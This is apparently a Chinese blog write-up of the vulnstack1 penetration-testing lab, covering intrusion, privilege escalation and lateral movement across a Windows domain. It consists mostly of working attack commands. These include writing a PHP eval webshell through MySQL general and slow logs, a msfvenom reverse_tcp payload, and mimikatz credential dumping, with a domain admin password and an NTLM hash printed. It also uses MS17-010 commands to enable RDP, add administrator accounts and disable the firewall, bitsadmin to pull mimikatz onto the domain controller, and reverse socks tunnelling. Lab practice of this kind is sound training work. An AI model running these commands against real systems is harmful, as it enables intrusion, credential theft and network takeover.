vulnstack1 靶场做题笔记

一、环境部署

1.1 靶场下载

1.2 网卡配置

1633482615_615cf777906eec6268a14.png!small?1633482621269

环境分析:

  • winserver2008
图示VM3:域控服务器
内网ip:192.168.52.138

image-20230315225844345

  • win2k3
图示VM2,域内成员
ip:192.168.52.141

image-20230315230359991

  • win7
图示VM1:web服务器,双网卡
公网ip:192.168.190.144
内网ip:192.168.52.143

配置完毕之后测试网络的联通性:最后三台机器都能相互ping通,win7可以连接公网

1.3 靶场配置

  • 开启web服务

win7需要对外提供服务,所以这里需要把phpstudy给打开

image-20230315231549910

二、信息收集

这里我们正式开始打靶,模拟实战的话我们目前就只有一个公网ip(192.168.190.144),所以肯定第一步就是对目标进行信息收集,当然这里没法模拟收集厂商信息之类的的

Goby扫描

扫描器的话都各有优点,这里我就用goby了,一通扫描后发现目标开启了3306(mysql)和80(http)

image-20230315232101764

三、外网打点

简单的信息收集后我们知道了对方开放了两个我们知道的端口 ,所以接下来利用点就是

1.判断mysql是否外联,尝试弱口令
2.从80找web漏洞

3.1 mysql尝试

root/root登录一下试试,出现了如下报错,网上百度了一下,应该是目标没开启mysql外联,所以作罢,直接开始下一个方案

3.2 web打点

  • 初步判断

访问80端口,默认界面是个探针界面,重中我们可以得到很多信息

网站服务器系统信息:操作系统版本、主机名
中间件版本
管理员邮箱
网站的绝对路径(这个往往至关重要,后面写shell也用得到)
php相关参数
· · ·等等

image-20230315232204085

然后拉到最下面下面有个mysql测试,这里root/root也是直接测试成功

  • 目录爆破

简单的目录扫描发现目标有phpadmin(一个web端的mysql连接工具)

image-20230403164034425

这里也是直接root/root弱口令就进入了后台

image-20230403164050474

phpadmin-getshell

phpadmin-getshell的三种普遍思路:

select into outfile 写文件
全局日志getshell
慢日志getshell
  • select into outifle 写文件

条件:

  • 对web目录需要有写权限能够使用单引号
  • 知道绝对路径
  • secure_file_priv为空

首先想到的是写文件getshell,因为我们有网站的绝对路径了

show variables like '%sec%'

image-20230403164110611

但是这里secure_file_priv为NULL所以不能写文件,所以此方法结束

  • 全局日志getshell

条件:

必须是root权限

我们是root权限,满足条件,然后首先查看一下配置

show variables like '%general%';

image-20230403164138391

这里日志选项没开,我们把日志开一下,并且改一下日志位置以及文件(绝对路径是前面探针得到的)

#开启日志选项
set global general_log = on;
#设置日志位置为网站目录,文件格式php
set global general_log_file = 'c:/phpstudy/www/zinc.php';

image-20230403164311293

然后就执行一个查询语句写入shell

select '<?php @eval($_REQUEST[cmd])?>';

image-20230403164332320

简单用phpinfo()验证一下写入是否成功

image-20230403164354074

下一步可以用antsword连接

  • 慢日志getshell

慢日志:

记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句

利用条件的话和全局日志getshell一样都需要root权限,只不过这个需要执行命令时长超过10s才会被记录

查看日志设置

show variables like '%slow%';

image-20230403164419236

修改配置

#修改日志文件以及绝对路径名
set global slow_query_log_file = 'c:/phpStudy/www/slow.php';
#启用慢日志查询
set GLOBAL slow_query_log=on;

image-20230403164441798

写入shell

select '<?php @eval($_REQUEST[cmd])?>' or sleep(11);
select '<?php @eval($_REQUEST[cmd])?>'  union sleep(11);

image-20230403164558509

简单验证

image-20230403164651885

四、提权


这里我们拿到一台机器,首先肯定是要对主机上的信息进行收集,首先判断这个主机处于哪个“位置”,对于当前主机的话就是一个web服务器的角色,就是一台跳板机,其次收集一下当前主机是处于域环境还是工作组环境,这为我们下一步横向移动会提供一些参考

简单看一下本机信息,看下本机ip和网卡啥的

ipconfig /all 
shell systeminfo

这里我们知道了:

主机名:stu1
处于域环境中,且域: god.org

msf提权:

生成msf木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

设置好监听后

use exploit/mutli/handler 
​
set payload windows/x64/meterpreter/reverse_tcp 
​
set lhost ip
​
set lport 6666

运行上线

image-20230317103228047

这里我们已经拥有了administrator权限 所以再提权就很容易了 这里有

image-20230317103412964

权限 所以可以直接getsystem提权,参考文章

https://blog.csdn.net/qq_41874930/article/details/110001596

简单收集一下信息

image-20230317103431612

很容易发现

1.处于域环境中 域名为:god.org
2.域内主机名为 stu1
3.双网卡 一个ip为  192.168.190.另一个为10.1.1.123(外网)
4.内网的dns服务器为192.168.190.2 推测是DC

进程迁移

https://www.cnblogs.com/g0udan/p/12411937.html

meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化

1.ps查看当前正在运行的进程

2.getpid命令查看msf自己的进程id

3.migrate xxx 吧msf shell的pid调到xxx里相对稳定的应用

4.getpid查看一下自己是否更换成功

(也可以自动化 set autorunscript migrate -n.explorer.exe)

image-20230317104749243

这里哦我们看到explorer.exepid为2780

image-20230317104836471

我们自己的是2304

然后执行命令 migrate 2780

image-20230317104906531

连接VM1远程桌面

确认一下目标的远程桌面端口有没有开放

nmap 192.168.190.144 -p 3389

这里没开放的话可以使用msf的模块,或者自己手动开启

msf使用模块
post/windows/manage/enable_rdp
set session 1
run

最后的结果就是开放了

image-20230403143225082

mimikatz抓密码

加载mimikatz模块,然后wdigest

load mimikatz

image-20230317110019959

这里说mimikatz已经被kiwi替代了

列举系统中的明文密码

creds_all

image-20230317110205982

里面找到了一个域内administrator的密码hongrisec@2019

登录远程桌面

msf > rdesktop 192.168.28.130
这里注意用GOD\Administrator登录。

五、横向移动

内网信息收集

  • 确定是否为域环境

image-20230317161041133

image-20230317161301319

得到结果是域环境 只有一个域 且域名为 god.org

  • 域内主机

image-20230317161330926

结果是应该有三台主机 owa root-tvi862ubeh stu1

  • 判断一下域控主机

image-20230317161422557

域控主机一般为时间服务器,这里结合ping的结果image-20230317161503797

结合image-20230317161850248

image-20230317161940332

我们前期信息收集知道了dns服务器是192.168.52.138 这里也大致可以猜测 既是时间服务器,又是dns服务器 多方佐证 这个域控的主机名就是 owa ip为192.168.52.138

  • 查询域内用户

image-20230317162131018

域内有个administrator,所以我们知道我们登陆的应该就是域内的管理员账户

域名为 god
域中有三台主机:
stu1.god.org   
root-tvi862ubeh.god.org   
owa.god.org   为域控
域用户有 : ligang  , liukaifeng01 ,administrator
域管理员只有一个:  administrator
其实直接就拿到域管理员了

配置路由

run get_local_subnets

image-20230317162420054

image-20230317162450676

结合之前的信息,推测一下网段大概就

192.168.52.0 是内网网段

192.168.190.0 外网的网段

169.254.X.X是Windows操作系统在DHCP信息租用失败时自动给客户机分配的IP地址。

  • 添加路由、挂socks4a代理

首先我们要添加到达内网网段的路由,因为msf是在外网网段的,而目标的机器都在内网

run autoroute -s 192.168.52.0/24

然后可以查看一下已经添加的路由网段

run autoroute -p

此时msf就可以直接探测目标网段了(netbios探测存活主机),这里直接用的nmap自带的模块

use  auxiliary/scanner/netbios/nbname 
set rhosts 192.168.52.0/24
run 

image-20230317164353458

  • sock4+proxychains4代理
use auxiliary/server/socks_proxy 
options
set srvhost 0.0.0.0
set srvport 1080
set version 4a

然后设置 proxychains4

vim  /etc/proxychains4.conf

在最后一行添加

socks4  0.0.0.0 1080

拿下边界机之后,进入内网,想用nmap怎么办? CS可以开启代理,但是是socks4的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMP的ping确认主机存活

扫描端口

msf > nmap 192.168.52.138
 
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49155/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown

msf > nmap 192.168.52.141
 
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
777/tcp  open  multiling-http
1025/tcp open  NFS-or-IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
6002/tcp open  X11:2
7001/tcp open  afs3-callback
7002/tcp open  afs3-prserver
8099/tcp open  unknown

445端口利用

看到两个IP都打开了445端口

msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192.168.52.141 192.168.52.138
msf > run

两个主机都是likely的

image-20230403144942578

远程桌面利用准备之端口
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

image-20230403145344238

  • 查看远程连接端口
set command 'Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber'

image-20230403150532946

0xd3d 转化成10进制就是3389

  • 查看端口开放情况
set command netstat -ano

image-20230403145447192

打开3389端口使用远程桌面
set command wmic RDTOGGLE WHERE ServerName=\'%COMPUTERNAME%\' call SetAllowTSConnections 1

image-20230403151644017

看看3389的状态,已经是开放的

image-20230403151847696

远程桌面利用之socks代理

选用earthworm。
kali重新打开一个终端执行命令,将本机的1080端口请求转发给4444

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

image-20230403152331850

然后把ew上传到VM1跳板机上

upload /home/zinc/Desktop/ew_for_Win.exe c://

然后切换到shell里面执行

ew_for_Win.exe -s rssocks -d 192.168.190.130 -e 4444

这里看到我们kali客户段有反应了

image-20230403160502159

kali再开一个终端执行
vim /etc/proxychains.conf

最后添加

socks5 127.0.0.1 1080
执行远程桌面
proxychains4 rdesktop 192.168.52.141

image-20230403161301332

提供管理员用户

继续使用msf模块
msf >use auxiliary/admin/smb/ms17_010_command
添加用户
set command net user test abbbbb123.0 /add
并添加用户为管理员
set command net localgroup administrators test /add
然后就可以登录VM2了

六、补充

网上有许多教程都使用正向shell或者反弹shell来进行getshell,但是我尝试了下都没有成功。
当然,由于改过密码,hash传递登录也没有成功。这里只成列一下使用方法。大家可以自己去尝试

exploit/windows/smb/ms17_010_psexec正向

我也没成功

set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lport 4444
run

windows/smb/ms17_010_eternalblue反弹

哈希传递登录

在VM1跳板机上执行一下命令

sekurlsa::pth /domain:god.org /user:administrator /ntlm:8a963371a63944419ec1adf687bb1be5

最后我使用的方法

web服务器(VM1跳板机)的WWW根目录下放置mimikatz.exe

使用admin/smb/ms17_010_command

先在DC上执行

set NetSh Advfirewall set allprofiles state off

DC下载mimikatz

bitsadmin /transfer name http://跳板机ip/mimikatz.exe c:\mimikatz.exe

DC运行

set command 'c://mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full""'

然后就是找到密码登陆了

参考连接:

posted @ 2023-04-03 17:03  z2n3  阅读(74)  评论(0编辑  收藏  举报